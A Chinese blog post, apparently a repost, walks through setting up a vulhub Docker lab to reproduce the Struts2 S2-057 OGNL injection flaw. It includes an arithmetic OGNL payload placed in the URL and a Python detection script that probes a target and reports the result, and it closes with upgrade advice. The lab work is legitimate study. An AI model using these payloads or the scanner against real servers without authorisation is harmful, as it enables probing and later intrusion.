struts2-057漏洞复现

 

哎,最近还是比较忙的,各种麻烦事各种心累,突然想起我还有这么一个博客,想着怎么着也得上来写点东西,上周爆出了struts2-057漏洞,趁闲的时候复现一下,坑还是蛮多的。

直接开始,这里要膜拜一下大佬https://github.com/jas502n/St2-057

首先本地使用docker部署vulhub,详细的可以参考https://www.douban.com/note/664677507/,或者百度一下,度娘上面说的还是蛮详细的。

大概来写下步骤

首先安装git
$ yum install git-core
安装完成之后运行一下git clone试试,如果出现选项就说明安装成功了。
之后安装docker
$ sudo yum -y install docker-ce

尝试运行一下

$ docker images

 如果出现镜像列表则说明成功安装。接下来就需要安装vulhub了,在这之前,需要先安装pip

$ wget https://bootstrap.pypa.io/get-pip.py

 安装完成之后尝试输入pip,出现选项即说明安装成功,接下来就可以使用pip来安装docker-compose

$ pip install docker-compose

 直接从github上将vulhub拿下来,由于某些原因,直接下载vulhub会报错,所以建议直接从github上下载,当然也可以直接下载。

$ git clone https://github.com/vulhub/vulhub

 不出意外的话,下载成功以后查看目录下会出现vulhub,这个时候就可以进去看看里面有些什么,当然里面所包含靶站的还是比较多的,都可以复现一些比较经典的漏洞。

这里重点介绍下struts2-057漏洞吧,进入struts2目录下,找到struts2-057,进去。

直接使用docker-compose将镜像安装起来。

$ docker-compose up -d 

看下docker里面镜像库,如果出现struts2镜像则说明安装成功。

 查看psid,复制id后直接启用环境。

$ docker exec -i -t <id> /bin/bash

 环境就搭建起来了,访问一下ip:port/struts2-showcase/

这里就访问成功了,之后验证漏洞,将url换成ip:port/struts2-showcase/${(111+111)}/actionChain1.action

最后可以看到已经变成了ip:port/struts2-showcase/222/register2.action

说明确实存在struts2-057漏洞。这里给出一个大佬的检测poc。

import sys
import requests
 
url = sys.argv[1]
url_list = [i for i in url.split("/") if i != '']
 
payload = "${(65535+521)}"
 
payload = "/" + payload + "/"
num = 0
for str in url_list:
    num += 1
    if num == 1:
        nurl = str
        continue
    elif num == 2:
        nurl = nurl + "//" + str
        continue
    elif num == len(url_list):
        nurl = nurl + payload + str
        continue
    else:
        nurl = nurl + "/" + str
        continue
 
try:
    r = requests.head(nurl, stream=True).headers["Location"]
except:
    print "不存在ST2-057漏洞!"
    exit()
 
if r.find("66056") != -1:
    print "存在ST2-057漏洞!"
else:
    print "不存在ST2-057漏洞!"

  还是基于上面提到的检测方法,大家可以试一下。

漏洞修复:

本质修复还得官方来,所以只能乖乖升级下版本。升级到Struts 2.3.35、Struts 2.5.17这两个版本。

 

猜你喜欢

转载自www.cnblogs.com/cangqiongxiaobu/p/9561414.html
今日推荐